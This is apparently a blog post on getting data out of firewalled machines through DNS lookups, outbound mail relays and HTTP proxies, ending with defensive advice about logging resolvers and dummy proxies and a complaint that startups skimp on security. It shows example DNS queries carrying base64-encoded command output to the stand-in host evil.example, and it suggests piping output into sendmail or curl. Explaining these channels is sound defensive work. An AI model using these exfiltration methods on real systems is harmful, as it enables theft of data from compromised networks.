Exfiltration, correctness, and the race to market
Let's say you're a bad person, and you've managed to break into a machine inside some organization. Maybe you can't get to it directly, but you can inject some payload which eventually makes some machine inside the beast run your command. How do you get the results out? Assume that you can't just connect to the outside world -- there's a firewall preventing it.
The magic of getting this stuff out of the hard-to-reach machine and back to you is known as exfiltration, and not everyone defends against it. I've seen a couple of interesting techniques over the years. None of this should be news to anyone working in the security space, but I figure they're worth mentioning for folks who haven't encountered them yet.
For starters, how about DNS? If you control a domain, evil.example, and you run the nameservers, then every single request that isn't cached somewhere out in the world will come direct to your machines. What are the odds that a machine inside a typical tech company will be able to resolve arbitrary DNS hosts, inside and out? I'd say pretty good.
All you'd have to do is make sure the data would fit in a request, glue your domain on the end, and fire it off. You could do this with any tool which generates DNS lookups - it doesn't have to be dig or host... how about telnet, or netcat, or ping?
Do you think anyone would notice this? I'm guessing many places would not. Sure, if you've already invested in some kind of "behavior based" firewalling stuff which looks for strange things happening, it might catch it, but I would have to hope such a place already cut DNS off from the outside world.
Put another way, would you notice DNS queries like this?
dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3.001.evil.example JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFl.002.evil.example bW9uKSwzKHN5cyksNChhZG0pLDYoZGlzay.003.evil.example ksMTAod2hlZWwpLDExKGZsb3BweSksMTco.004.evil.example YXVkaW8pCg==.005.evil.example
Five DNS queries later, someone knows they managed to get their command to run somewhere, and that it's running with root privileges on the box. Party time!
So maybe you fix that one, and make it so that internal hosts can only resolve other internal domains. Good for you, since this can be surprisingly difficult to get right without breaking anything else. There are still other fun ways to get stuff out.
How about SMTP? You know, good old e-mail. If the machine is running sendmail or postfix or something else of that sort, it's probably doing it for a reason. Why not try to just pipe some command into 'sendmail firstname.lastname@example.org' and see if it gets there? You might be surprised how just many places have huge corporate relaying infrastructures set up "just in case" a machine wants to mail the outside world. The compromised host might not be able to hit your port 25, but I bet it knows a friend who does!
Now, the machine itself might generate a from address that doesn't resolve on the outside world, so you'll have to make sure your receiving host(s) allow such shenanigans, but you already set that up, right?
Obviously there are also the hosts which "helpfully" set up a http[s] proxy for everyone on the box, so you can just wget or curl something and it'll Just Work. It'll bounce out through some corporate proxy or somesuch, and the data will be deposited on your electronic doorstep, all wrapped up in a neat little package. This one is hopefully a given so I didn't lead with it. If this exists, you don't need the more interesting methods.
By the way, if you choose to lock down your systems so that this kind of stuff doesn't work, you might also take the chance to not just bitbucket the traffic. If hosts should never resolve the outside world, maybe provide a resolver which pretends to answer for all of them, but logs the attempts anyway. Or, if they should never mail the world, accept the mail and see where it's going. Or have a dummy http[s] proxy which just gobbles the request and holds on to the payload for later analysis.
Obviously, all of this should already exist on the marketplace and should Just Work for everyone, but for a random web company with 100-1000 machines and a handful of employees, are they thinking about this? I'm guessing they are not. They're just trying to stay afloat and get some kind of footing with their market. Engineering and security correctness are probably way down the list of things they care about.
The sad part is that the places which do put that stuff first probably don't make it to market in time (or ever), wind up failing, and so their hard work means nothing. If this turns out to be true, then you'll see a pattern of companies throwing up literally whatever crap they can get to run, and then if it sticks and they make money, then they come back and "backfill" and try to pay down the technical debt they imposed on themselves.
This is a good reason why a bunch of online services are just plain terrifying. The paths to viability usually involve a great many awful compromises, both in terms of "we'll just have to get to that later" and "oops, we've been owned".
I think this is one of the valley's dirty little secrets. Sorry, world.